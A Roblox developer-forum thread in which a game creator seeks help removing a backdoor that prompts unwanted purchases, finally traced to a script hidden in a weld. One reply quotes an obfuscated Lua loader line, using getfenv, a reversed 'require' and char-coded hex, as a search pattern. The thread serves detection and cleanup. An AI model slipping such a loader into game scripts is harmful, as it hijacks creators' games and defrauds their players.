I'm getting a prompt purchase virus and I've tried everything to remove it

image
I am getting this in my game, the creator of the model is robloxtopmodels.
I have tried everything, searching for require(), \114\101\113\117\105\114\101, getfenv(), and promptgamepasspurchase, and nothing of that sort appears. I have disabled all my plugins and it is still there. Even if I revert to a version that didn’t have it appear it will still appear.
I NEVER use any free models so I’m really confused as to why this is happening.

1 Like

Correction, model maker’s username is topqualitymodels

Have you tried ctrl + shift + f and searching the ID of the model?

I would look in “Thumbnail/Camera” as well - I had a virus in there once and never found it because I’d never think of looking there. That’s why I refrain from using free models now, some are very sneaky and somehow inject stuff into the camera.

If you’re using lots of free models - then it’s definitely going to be very difficult for you to locate where this is coming from. Think of the most recent one’s you’ve used.

Once I got a model that was an anti-exploit (it actually worked super well) then next thing I knew they must had updated it or something (seeing it ran through a module) which it then did the same thing - prompting purchases… Actually, it injected a “Shop” GUI for gamepasses that weren’t mine, now that I remember right.

I would search “Require” in general as well and look from there. I could see it most likely running off of a module.

That user mostly uses this payload:

getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{48,88,67,67,52,48,67,69,65,49})))

So try searching for anything in that.

1 Like

I tried searching for the id, I’ll look in camera now. I have not used any free models.

I checked, and there’s nothing in the camera and nothing like what @Meta_data eta_data stated.

just get rid of any scripts you havent made/added and you should be good…

I’ve reached out to you on discord, I can help remove the backdoor.

Turns out it was a script hidden in a weld. Idk why the find didn’t pick up on it. Thanks everyone!